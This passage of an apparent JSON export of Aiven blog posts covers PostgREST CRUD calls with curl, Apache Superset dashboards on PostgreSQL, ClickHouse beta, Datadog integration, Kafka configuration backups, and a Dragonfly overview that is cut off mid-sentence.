quotes:\n```bash\ncurl \"http://localhost:3000/quotes\"\n```\n\nPostgREST supports [all sorts of filters](https://postgrest.org/en/v8.0/api.html) – based on the SQL language you may already know. For example, we can limit the output to 5 quotes by using the `limit=N` query parameter:\n```bash\ncurl \"http://localhost:3000/quotes?limit=5\"\n```\n\nWe can extend our HTTP query filter to return only quotes with more than 1000 likes using the `field=filter.value` pattern, and select which fields we want to display with the `select` option:\n```bash\ncurl \"http://localhost:3000/quotes?limit=5\u0026likes=gt.1000\u0026select=index,quote,author\"\n```\n\nIf it feels a lot like SQL, is because PostgREST tries its best to use already existing features from PostgreSQL, so you don't need to learn many new things.\n\nSo far we been exploring only the **read** from C**R**UD, what about other operations?\n\nUse the HTTP POST method to add a new quote:\n```shell\ncurl \"http://localhost:3000/quotes\" \\\n -X POST -H \"Content-Type: application/json\" \\\n -d \\\n '\n {\n \"author\": \"Paulo Freire\",\n \"quote\": \"When education is not liberating, the dream of the oppressed is to become the oppressor.\"\n }\n '\n```\n\nYou can check that the new entry was added correctly by executing:\n```shell\ncurl \"http://localhost:3000/quotes?index=eq.3000\"\n```\n\nTo update the quote we just added, use the HTTP PATCH verb to add the `tags` field to the quote with the `index` value of `3000`:\n```shell\ncurl \"http://localhost:3000/quotes?index=eq.3000\" \\\n -X PATCH -H \"Content-Type: application/json\" \\\n -d \\\n '\n {\n \"tags\": \"education;inspirational;philosophy;wisdom\"\n }\n '\n```\n\nLastly, use the HTTP DELETE verb to delete all quotes where the `author` field contains the `??` string – the database has some corrupted entries, this operation will clean it up!\n```bash\ncurl -X DELETE \"http://localhost:3000/quotes?author=like.*??*\"\n```\n\n### Next steps!\nPostgREST is definitely a handy tool to spin up a RESTful API without needing to code in a high-level programming language or using a web framework. Today we only touched the basics of PostgREST, but if you are eager to try out more, here are some topics from their documentation that we recommend:\n- [Authentication System](https://postgrest.org/en/v8.0/auth.html)\n- [Creating Stored Procedures](https://postgrest.org/en/v8.0/api.html#stored-procedures)\n- [PostgREST Apps and Extensions](https://postgrest.org/en/v8.0/ecosystem.html#example-apps)\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n--------\n\nPostgres, PostgreSQL and the Slonik Logo are trademarks or registered trademarks of the PostgreSQL Community Association of Canada, and used with their permission.\n\n## Further reading\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-fb054e80363a02c8e50238630c9f917a56b9b484-1567x844-png","_type":"reference"}},"publishedAt":"2022-01-20T00:00:00.000Z","seo":{"metaDescription":"Setting up an HTTP interface to a database can be a lot of work. Find out how PostgREST makes it quick and simple to provide RESTful access to PostgreSQL®.","metaImage":{"alt":"","asset":{"_ref":"image-fb054e80363a02c8e50238630c9f917a56b9b484-1567x844-png","_type":"reference"}},"metaTitle":"Quickly developing REST APIs with PostgREST"},"slug":{"_type":"slug","current":"/blog/quickly-developing-rest-apis-with-postgrest"},"subtitle":"Setting up an HTTP interface to a database can be a lot of work. Find out how PostgREST makes it quick and simple to provide RESTful access to PostgreSQL®.","title":"Quickly developing REST APIs with PostgREST"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"29FKVh1Mm0E2bpk58gHYyT","_rev":"wguC7mbo0o2K8r1KhmaNSj","_type":"post","_updatedAt":"2023-07-20T10:47:16Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"## Get started with Apache Superset and PostgreSQL\n\n\"A picture is worth a thousand words\" is a common saying in many languages. Similarly, in the data world, a visualization condenses huge amounts of raw points into an image that can be used to create insightful stories driving business decisions. Several tools exist in the dataviz ecosystem, with [Apache Superset](https://superset.apache.org/) getting a lot of traction for its open source status and the advanced list of features it offers for data exploration, visualization and sharing.\n\nThis blog post shows how to start creating amazing visualizations with Apache Superset building on an [existing PostgreSQL table](https://aiven.io/blog/the-pursuit-of-happiness-with-python-and-postgresql).\n\n::alert[Ready to dive deeper into PostgreSQL? [Sign up for a free PostgreSQL plan](https://console.aiven.io/signup) and follow along.]{title=\"Get your PostgreSQL free plan today\"}\n\n## Run Apache Superset on Docker\n\nDocker is a good friend here! It allows us to spin up - in a matter of minutes - complex software infrastructure without needing to understand and implement the setup manually. In cases like this when we're testing a new tool, it's a perfect fit!\n\nWe can start by cloning the Apache Superset GitHub repo, and navigating to the `superset` folder from our terminal:\n\n```\ngit clone https://github.com/apache/superset.git\ncd superset\n```\n\nThen we can use `docker-compose` to create all the containers needed for Apache Superset:\n\n```\ndocker-compose -f docker-compose-non-dev.yml up\n```\n\nBoom! Our Apache Superset is ready with a nice set of pre-built content we can browse.\n\nNow, let's go to `localhost:8088` in our browser, and login with the safest duo ever (`admin` as user, and `admin` as password).\n\n![Apache Superset default screen](//cdn.sanity.io/images/sczeoy4w/production/2a46de465187689c2cae42f6c6a6273317eb2348-1335x444.png \"Apache Superset default screen\")\n\nIf you're curious, check out the [Apache Superset docker page](https://superset.apache.org/docs/installation/installing-superset-using-docker-compose) for more information.\n\n## Push the dataset to PostgreSQL\n\nWe've explored happiness before on the blog, and [how to push Kaggle's related dataset to PostgreSQL via Python](https://aiven.io/blog/the-pursuit-of-happiness-with-python-and-postgresql). You can use the output mentioned there for the current example, or use your own. The end result in our example is a PostgreSQL instance named `demo-pg`, containing a table called `happiness` with content similar to the one below:\n\n```\nsurvey_yr | country | overall_rank | score | gdp | generosity | freedom | social_support | life_exp | gov_trust \n----------+---------+--------------+---------+--------+------------+----------+----------------+----------+----------\n 19 | Finland | 1 | 7.7690 | 1.3400 | 0.1530 | 0.5960 | 1.587 | 0.9860 | 0.3930\n 19 | Denmark | 2 | 7.60 | 1.3830 | 0.2520 | 0.5920 | 1.573 | 0.9960 | 0.4100\n 19 | Norway | 3 | 7.554 | 1.4880 | 0.2710 | 0.6030 | 1.582 | 1.0280 | 0.3410\n```\n\n## Connect Apache Superset to PostgreSQL\n\nApache Superset supports a [wide range of source databases](https://superset.apache.org/docs/databases/installing-database-drivers), and for PostgreSQL it uses [the psycopg2 library](https://superset.apache.org/docs/databases/postgres). PostgreSQL support is already included in the default Docker setup.\n\nAll we need to do is go to the Apache Superset UI, and define a new datasource pointing to our PostgreSQL database:\n\n1. Select **Data**, and then **Databases**.\n2. Click the **+DATABASE** button.\n3. At the bottom of the modal window, choose **Connect this database with a SQLAlchemy URI string instead**.\n4. Insert `demo-pg` as **DISPLAY NAME** (or your own instance name).\n5. Use the PostgreSQL URI as **SQLALCHEMY URI**. You can find the PostgreSQL URI in Aiven's console, in the service detail view, under the **Overview** tab.\n6. Test that all the settings are correct by checking your connection, and making sure you get a nice `Connection looks good!` message.\n7. Click **ADD** to persist our `demo-pg` database definition.\n\n![demo-pg database entry](//cdn.sanity.io/images/sczeoy4w/production/14e957124f319e2ac691f18cd923fc4bdaf87dce-1328x257.png \"Defining a data source\")\n\nNow, it's time to include the `happiness` table.\n\n1. Back in the Apache Superset UI, switch to the **Datasets** tab.\n2. Create a table by filling the **DATASOURCE** with `demo-pg`, the **SCHEMA** with `public` and the table with - no surprises - `happiness`.\n3. Click **ADD** to persist the datasource definition.\n\nTa daaah!\n\n![happiness dataset entry](//cdn.sanity.io/images/sczeoy4w/production/af34034e41c5143f91a211fdd89756b1f5efdbba-1328x260.png \"Entering the happiness dataset\")\n\n## Visualize data\n\nNow we are ready to use our artistic skills, and create visualizations of our data: representing data this way makes it much easier to process.\n\n1. Back in the Apache Superset UI, let's navigate to **Charts** tab.\n2. Click **+CHART**.\n3. In the popup window, select the `public.happiness` dataset we created before, and **Pivot Table v2** as visualization.\n\nLet's use the dataset, and create a heatmap of the top 10 happiest countries over the years. We can do that with the following configuration:\n\n* `country` for the **ROWS**\n* `survey_yr` for the **COLUMNS**\n* For the **METRIC** select a **SIMPLE** calculation based on the `overall_rank` column with `AVG` as aggregated function.\n* In the **FILTERS** section, add a **SIMPLE** filter based on the `overall_rank` metrics being `\u003c=` to `10`.\n* At the bottom, set the **AGGREGATION FUNCTION** as `Average`, this will drive the overall row/column aggregation in the pivot table.\n\nCheck out the **Query** parameters overview:\n\n![example of query panel with settings](//cdn.sanity.io/images/sczeoy4w/production/6c8ca5f069ea6f6a290621992583fef104b7c94d-317x623.png \"Example of query panel with settings\")\n\nNow, in the **CUSTOMIZE** tab set the following options:\n\n* For **PIVOT TABLE TYPE** select `Table Heatmap`\n* For the **ROWS SORT BY** select `value ascending`\n* Deselect the **SHOW COLS TOTALS**\n* Name the visualization `Country ranking heatmap`\n\nWe're ready to press the **RUN** button above **CUSTOMIZE**.\n\nAaaaand, we end up with a lovely red shaded heatmap showing the countries that made the top 10 at least once in the previous 5 years, ordered by their overall average position.\n\n![Pivot table with heatmap containing the country overall ranking](//cdn.sanity.io/images/sczeoy4w/production/19688dae33d41052dc42c44430fe743d2e5bd74c-381x438.png \"Pivot table with heatmap containing the country overall ranking\")\n\nTo see where these countries are around the world, the same data could be used to create a map. Try the following settings:\n\n* **World Map** as visualization type\n* `country` as **COUNTRY COLUMN**\n* `Full Name` as **COUNTRY FIELD TYPE**\n* Use a **SIMPLE** calculation based on the `score` column with `AVG` aggregation for the **METRIC FOR COLOR** parameter\n* Choose the **COUNTRY COLOR SCHEME**, the screenshot shows `red/yellow/blue` but the choice is yours. Go wild!\n\nThe resulting map clearly indicates that a lot of work needs to be done to raise happiness levels in the Southern Hemisphere.\n\n![picture of the world heatmap](//cdn.sanity.io/images/sczeoy4w/production/d4da9df6310cad87bf2cbbae94fdb07bcc08a1dd-979x397.png \"Picture of the world heatmap\")\n\n## Add calculated fields in the dataset\n\nSometimes the source dataset doesn't contain all the required fields. This is the case in our example too, with the `survey_yr` field containing only the last two digits of the year (ie. `18`, `19`), which means it won't be recognized by Apache Superset as a timestamp, stopping us from using any trend visualization.\n\nFear not! Apache Superset allows us to change the shape of our dataset, without any modification to the original table, by adding calculated columns.\n\n1. In the Apache Superset UI, switch to the **Datasets** panel.\n2. Click the **Edit** pencil icon under the **Action** section of the **happiness** dataset.\n3. Open the **CALCULATED COLUMNS** tab and create a new item, with the following settings:\n * `2000+survey_yr` as **SQL EXPRESSION**\n * **LABEL** set to `Year`\n * `DATETIME` as **DATA TYPE**\n * `%Y` as **DATETIME FORMAT**\n * **Is temporal** checkbox selected.\n\nNow the `Year` column is available, enabling us to create trend visualizations like a linechart of the top 5 positions over time.\n\n![Top 5 trendline](//cdn.sanity.io/images/sczeoy4w/production/223c57e29a9416a043e0fe7b8826f5441ead1f16-1205x389.png \"Top 5 trendline\")\n\nChallenge yourself, and try creating this chart yourself as an Apache Superset.\n\nAs you'll see, Finland is a pretty happy place - and we think so too!\n\n## Wrapping up\n\nA dataset is only useful when stored properly, and made available for queries. It becomes meaningful when insights are discovered and communicated across the company. The combination of PostgreSQL and Apache Superset offers a best-in-class solution for data storage, discovery and visualization, enabling companies to be effective and data-driven.\n\nSome more info:\n* [Aiven for PostgreSQL](https://aiven.io/postgresql): to get your managed PostgreSQL instance\n* [Apache Superset Documentation](https://superset.apache.org/docs/intro): to browse the configuration details\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0ce49b85d4f89944595d51c4e2a2d1f1b23e06ac-1567x844-png","_type":"reference"}},"publishedAt":"2021-08-04T00:00:00.000Z","seo":{"metaDescription":"Find out how to use Apache Superset to create data visualizations from a PostgreSQL table in an Aiven environment - and use it to drive your business decisions.","metaImage":{"alt":"","asset":{"_ref":"image-0ce49b85d4f89944595d51c4e2a2d1f1b23e06ac-1567x844-png","_type":"reference"}},"metaTitle":"Get started with Apache Superset and PostgreSQL®"},"slug":{"_type":"slug","current":"/blog/get-started-with-apache-superset-and-postgresql"},"subtitle":"Find out how to use Apache Superset to create data visualizations from a PostgreSQL table in an Aiven environment - and use it to drive your business decisions.","title":"Get started with Apache Superset and PostgreSQL®"} {"__i18n_lang":"en","_createdAt":"2022-09-17T21:00:03Z","_id":"2MQWlXzjfm41qtZ1cR2lZW","_rev":"VeNKqGNmt13PzvGhqsSIuO","_type":"post","_updatedAt":"2024-01-29T15:40:46Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"**Update: [Aiven for ClickHouse is now GA!](/blog/aiven-for-clickhouse-now-generally-available)**\n\n## ClickHouse® is built for speed\nClickHouse® is a fast, open-source cloud data warehouse that’s fully open source. It allows you to generate analytical data reports in real time using advanced SQL queries. ClickHouse is built to process hundreds of millions of rows and tens of gigabytes of data per server per second. ClickHouse has already been adopted by leading companies like Uber, Spotify and Deutsche Bank.\n\nClickHouse supports industry-leading query performance, while significantly reducing storage requirements through the innovative use of columnar storage and compression. According to the ClickHouse benchmark, it is 6-7 times faster than a proprietary cloud data warehouse like Snowflake and Redshift.\n\nAiven for ClickHouse extends the powerful Aiven service portfolio to the cloud data warehousing market. The fully managed service makes it a breeze to deploy a new production-grade, high-performance data warehouse and enjoy the advanced capabilities familiar from other Aiven services - effortless scaling, easy database forking and cloud/region migration without downtime. \n\nIt also has a built-in integrations for our other products - such as Aiven for Apache Kafka®, Aiven for PostgreSQL®, and Aiven for Grafana® - making it easy for you to create analytics pipelines using both streaming data sources and data in your operational databases, and to visualize the analytics results. Stay tuned for the new features!\n## What is it used for?\nClickHouse is used for analyzing huge amounts of IoT telemetry, customer behavior, infrastructure metrics and logs, clickstream data and more, with no compromises on scale and performance. \n\nBy offloading the analytics workload from operational databases and by aggregating data from various data sources, ClickHouse ensures a full 360° analytics view that doesn’t compromise the performance of your operational applications. \n\nTo find out more about ClickHouse, check out our [What is ClickHouse article](https://aiven.io/blog/what-is-clickhouse).\n## What does “beta” mean?\nYou can use Aiven for ClickHouse beta for development work and for testing production-level workloads, but not yet for full production use. This is the perfect time to kick off your ClickHouse database and get a head start. You can develop your online analytics applications, send us your feedback as you go, and get precisely the features and capabilities that you need implemented in it. We even give you extended credits to try it out - you will receive $400 credit when you create an Aiven for ClickHouse Beta service. This offer is valid for both our existing customers and anyone new to Aiven services.\n\nA word of caution, though: you can use our free Basic level support with the beta service, but higher level support packages are currently not available and our standard SLA terms do not apply.\n\n## How to get started?\nIf you’re a new customer, first create an Aiven trial account. \n1. [Log in to the Aiven Console](https://console.aiven.io/signup).\n2. Create a new ClickHouse service.\n3. Load data to your newly created service.\n4. Use the built-in query editor to develop and test your analytics queries.\n5. Enjoy!\n\nFor more information, visit our [Aiven for ClickHouse beta product page](https://aiven.io/docs/products/clickhouse.html) and check the [product documentation here](https://aiven.io/docs/products/clickhouse/ \"Aiven Developer Portal\").\n\n## Wrapping up\nAiven for ClickHouse beta is here for your delectation. If you have any feedback or questions, hit us up on Twitter, or send e-mail to [beta@aiven.io](mailto:beta@aiven.io).\n\n--\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"4Ys3OINPj3glC5uOMr5dqF","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-4c67eff37d8b60b1a463d6f30dc2933a1d368fe7-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-14T00:00:00.000Z","related":[{"_key":"d2c185ae88e0","_ref":"5b18fb4c-f744-499c-befd-9e72479f83fc","_type":"reference"},{"_key":"0d4a223f0b6d","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"},{"_key":"4cf39781463b","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"We’re excited to announce that a Beta version of our Aiven for ClickHouse® service is now available for anyone to try. Find out how to get your data on it!","metaImage":{"alt":"","asset":{"_ref":"image-4c67eff37d8b60b1a463d6f30dc2933a1d368fe7-1567x844-png","_type":"reference"}},"metaTitle":"Aiven introduces open source ClickHouse® Beta for cloud data"},"slug":{"_type":"slug","current":"/blog/aiven-for-clickhouse-beta-now-available"},"subtitle":"We’re excited to announce that Aiven for ClickHouse® is now available for anyone to try. Find out how to get your data on it!","title":"Aiven enters cloud data warehousing marketing with open source ClickHouse® Beta"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2V7WelNGbdii6kTzt0mhYP","_rev":"ZgPiUE9lJ1tcRKuFna6NWr","_type":"post","_updatedAt":"2024-07-11T13:03:26Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"A lot of our customers also happen to be [Datadog](https://www.datadoghq.com/) customers and as one might expect, we’ve received a lot of requests to be able to send Aiven service metrics to their Datadog instances for monitoring.\n\nAlthough we support [sending Aiven service metrics to an Aiven for InfluxDB® and Grafana](https://aiven.io/developer/monitor-aiven-influxdb-grafana-dashboards) instance that provides similar functionality to Datadog, it is understandable that our customers would want to unify their service monitoring.\n\nThat’s why we’ve launched our Datadog service integration, making it possible to send metrics from your [Aiven for Apache Kafka®](https://aiven.io/kafka), [Aiven for PostgreSQL®](https://aiven.io/postgresql), [Aiven for OpenSearch®](https://aiven.io/opensearch) and [Aiven for Caching](https://aiven.io/caching) services to your Datadog account.\n\n## Unified monitoring and more\n\nBy unifying service monitoring, the Datadog integration makes it much easier to correlate events between the events of your company’s and Aiven services, as the data is now available under one roof.\n\nAt an Aiven service level, the Datadog agent provides unparalleled real-time insights. For example, you can drill down into the resource load of your service VMs and monitor CPU, disk, and network loads.\n\nCoupled with the ability to set customized alerting limits, you can optimize the use of your Aiven services to a completely new degree. It’s easy to understand why the service is named after man’s best friend.\n\n## Pricing and getting started\n\nAt this point you may be thinking, “Sounds great, but __how much will Aiven charge me?__” You’ll be happy to know that Aiven won’t charge anything extra for sending your service metrics to your Datadog account.\n\nThat said, please remember that Datadog will still charge you for the integration's metrics based on their [pricing schedule](https://www.datadoghq.com/pricing/) and their service billing will still need to be handled between you and them.\n\nThe particulars out of the way, let’s get started. If you’re running an updated service, start immediately by [following this two-step Datadog integration guide](https://aiven.io/docs/integrations/datadog.html). If not, just update your service before starting.\n\n## Stay active and give us feedback\n\nAs always if you notice any issues or think of some feature improvement ideas please continue sending them our way. We rely on our community’s active engagement.\n\nBy the way, the same goes for the support for additional third-party services. Datadog is a function of your contributions; so, keep the feedback coming on what service integrations you’d like to see in the future.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-99a4baf6d43b792a87c1fa14ca35b45126ed195a-650x325-png","_type":"reference"}},"publishedAt":"2018-04-20T00:00:00.000Z","related":[{"_key":"472d1392d30a","_ref":"9193ac82-e768-43d3-930c-4d99ad8bcf81","_type":"reference"},{"_key":"90583a59f4e0","_ref":"6DVg3fOD4cOwMcfEr9LlNF","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven services can now be integrated with the monitoring and analytics platform, Datadog. Find out how to get started.","metaImage":{"alt":"","asset":{"_ref":"image-99a4baf6d43b792a87c1fa14ca35b45126ed195a-650x325-png","_type":"reference"}},"metaTitle":"Integrate your Datadog monitoring and analytics with Aiven"},"slug":{"_type":"slug","current":"/blog/datadog-meets-aiven"},"subtitle":"Aiven can now be integrated with the monitoring and analytics platform, Datadog. Read more to find out which Aiven services can be integrated.","title":"Datadog meets Aiven"} {"__i18n_lang":"en","_createdAt":"2023-07-21T08:16:10Z","_id":"2ab8d211-0ea4-4e1c-9cb8-0d69dae7f026","_rev":"E2EqFgH2t2FE0P1F1sZ3bJ","_type":"post","_updatedAt":"2024-02-27T15:28:49Z","authors":[{"_key":"8e319bbb1aae","_ref":"325fa388-30e4-423e-a97b-ea5de159504a","_type":"reference"}],"body":"An outage or a planned shutdown could reset the state of your Apache Kafka cluster: Topics definition and configuration, User definitions and ACLs, as well as server configurations, need to be done from scratch. With the new cluster configuration backup feature, available in [Aiven for Apache Kafka](https://aiven.io/kafka)®, you can now restore all the above settings with a click, allowing you to recover from unexpected or planned shutdowns faster and safer.\n\n## What are Apache Kafka configuration backups?\n\nApache Kafka® is extremely resilient and provides flexible ways to distribute, replicate and copy data and configurations across multiple nodes in a cluster. All Aiven for Apache Kafka plans, even our startup ones, come with a 3-node distributed architecture. Data and configurations are automatically distributed across three different brokers for high availability. In the event of an error in one broker, a copy of the data and configurations already exist in another broker.\n\nIn the case of an accidental or planned cluster restart, restoring the Apache Kafka cluster requires restoring two elements: data and configuration parameters. While Apache Kafka data backup and restore is still an open topic in the community, having an option to quickly restore metadata means that you no longer need to worry about losing the setup of your cluster.\n\nLosing your Kafka cluster configuration would automatically mean reconfiguring the cluster itself and recreating the topics, configurations, and permissions from scratch. The process is at best time-consuming when configuration details are stored in external scripts. In worse scenarios, it represents a configuration nightmare, with all the stakeholders needing to redo manual work in the platform. In any case, the turnaround time to get your Kafka cluster up and running again is longer than what you would have originally planned. And then, of course, manual work can introduce errors and misconfigurations.\n\nThis is where a feature that backs up and allows you to restore your Apache Kafka cluster configuration comes in really handy.\n\nAnd guess what: this is what we’ve just added to all our Apache Kafka clusters.\n\n\n## How do the configuration backups work in Aiven for Apache Kafka?\n\nKafka cluster configuration backup in Aiven’s fully managed Apache Kafka service automatically restores the configuration of your Apache Kafka clusters to their previous state after a power off/on cycle or in the unlikely scenario an incident that has caused the cluster to fail. Aiven for Apache Kafka comes with a 99,99% uptime SLA, so the Kafka services are being taken care of by our support and SRE teams around the clock. But for more disastrous scenarios, like the crash of an entire cloud region, or an accidental cluster shutdown, the configuration backup and restore capability added to Aiven for Apache kafka can be helpful to quickly restore the previous status.\n\nIn more detail, configuration backups cover the following components from the Kafka ecosystem:\n\n- Apache Kafka topics and related configuration parameters (such as retention time, and number of partitions)\n- Apache Kafka users and ACLs\n- Everything in the Schema Registry: \n * Schema definitions\n * Schema IDs\n * Configurations (such as compatibility level)\n * Subjects and subject versions\n- Apache Kafka Connect configurations\n\n\n## Getting started with cluster configuration backups\n\nKafka cluster configuration backups are already available for new services and will be automatically enabled after the regular service maintenance cycle for existing ones. For more information on what’s included in the configuration backups, you can check the relevant [documentation](https://aiven.io/docs/products/kafka/concepts/configuration-backup).\n\n## Get started today\n\nAfter a cluster failure, the Apache Kafka configuration backup feature reduces the time required for bringing your Kafka cluster back online to a fraction. The result is happy Kafka users and a happier Kafka maintenance crew!\n\nNot using Aiven services yet? Sign up now for your [free trial](https://console.aiven.io/signup) today or [get in touch](https://aiven.io/contact) with the Aiven team!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n","categories":[{"_key":"bb64fe071cc3","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"685e0f8c54bc","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Kafka Config Backup, Kafka Configs, Apache Kafka, Aiven for Apache Kafka, Aiven, managed service Kafka, Kafka cluster configurations, Kafka configurations backup","asset":{"_ref":"image-bb6ed0850809c89cf9d03812933c0f2c89b756fb-1200x628-png","_type":"reference"}},"publishedAt":"2023-07-25T08:14:00.000Z","related":[{"_key":"b9de12782895","_ref":"48489b60-d438-4bb5-abd0-9950d2078514","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Cluster configuration backups are available in Aiven for Apache Kafka! Find out how it can save time for your team after a planned cluster shutdown.","metaImage":{"_type":"mainImage","alt":"Kafka Config Backup, Kafka Configs, Apache Kafka, Aiven for Apache Kafka, Aiven, managed service Kafka, Kafka cluster configurations, Kafka configurations backup","asset":{"_ref":"image-bb6ed0850809c89cf9d03812933c0f2c89b756fb-1200x628-png","_type":"reference"}},"metaTitle":"Announcing Aiven for Apache Kafka® configuration backups"},"slug":{"_type":"slug","current":"/blog/announcing-aiven-for-apache-kafka-cluster-configuration-backup"},"subtitle":"Cluster configuration backups are available on Aiven for Apache Kafka! Find out how it can save time for your team while restoring your cluster configuration.","title":"Announcing Aiven for Apache Kafka® cluster configuration backup"} {"__i18n_lang":"en","_createdAt":"2024-04-11T06:46:08Z","_id":"2b6668a5-9493-497a-bf05-bc3dac0c8851","_rev":"sx3m64XnoJyDsAwkmJ9Nw8","_type":"post","_updatedAt":"2024-07-05T08:39:49Z","authors":[{"_key":"9ce36dedce01","_ref":"bc1fa92d-fde5-40fd-97e8-33a4f5012885","_type":"reference"}],"body":"Dragonfly is a performant and memory-efficient drop-in replacement for Redis®, utilizing a modern multi-threaded shared-nothing architecture. That’s it! In essence, we have already captured the ambitious mission of Dragonfly. Yet, to fully appreciate the significance, let’s unpack this description and examine the benefits and key features in detail.\n\n## Benefits of Dragonfly\n\n### 1. Redis \u0026 Memcached Compatibility\n\nRedis is one of the most popular in-memory data stores used in countless web server applications. In order to provide a seamless developer experience, Dragonfly is designed to be fully compatible with Redis in terms of the wire protocol. At the time of writing, Dragonfly supports 240+ of the most commonly used Redis commands. By using the same SDKs and tools you are already familiar with, switching to Dragonfly would not require changing existing code, except for the client connection credentials. As an added bonus, Dragonfly supports running in Memcached mode as well, which also provides full compatibility with the Memcached wire protocol and APIs.\n\n### 2. Extreme Performance \u0026 Vertical Scalability\n\nLeveraging a multi-threaded, shared-nothing architecture, Dragonfly offers unparalleled performance enhancements over traditional in-memory data stores. Unlike Redis, which mostly employs a single-threaded design, Dragonfly’s architecture is optimized to fully utilize modern multi-core servers, delivering significantly higher throughput. Based on our [recent benchmarks](https://www.dragonflydb.io/blog/2024-new-year-new-number), Dragonfly is able to achieve 6.43 million operations per second when running on a single Amazon [c7gn.16xlarge](https://instances.vantage.sh/aws/ec2/c7gn.16xlarge) instance, equipped with the Graviton 3E processors. Below, we are showing the maximum operations (GET and SET commands) per second when running Dragonfly with different numbers of threads, restricting P99.9 latencies to being under 10 ms.\n\n![Max Operations Per Second vs. Dragonfly Threads](https://cdn.sanity.io/images/sczeoy4w/production/954ca2e256317ded93acb830c4d4828de86efac1-1348x709.png) *Max Opeations Per Second vs. Dragonfly Threads*\n\n\n### 3. Memory Efficiency\n\nWhile many of the existing Redis data structures are reused for their efficiency and robustness, Dragonfly continues the innovation and introduces advanced modern data structures that optimize memory usage, ensuring more efficient data storage and management. One example is the B+ tree based Sorted-Set implementation in Dragonfly, which observes up to 40% memory reduction for Sorted-Set data entries. Furthermore, Dragonfly also has a brand new algorithm for snapshotting, which ensures stable memory usage throughout the whole snapshotting process. These advancements represent Dragonfly's commitment to pushing the limits of being the most advanced in-memory data store.\n\n## Dragonfly Key Features\n\nOffering the same Redis or Memcached developer experience, Dragonfly aims to revolutionize the in-memory data store landscape with a superior data and operational management experience for much more demanding workloads.\n\n### 1. Data Types \u0026 Search Capabilities\n\nDragonfly works with both basic and complex Redis data types, 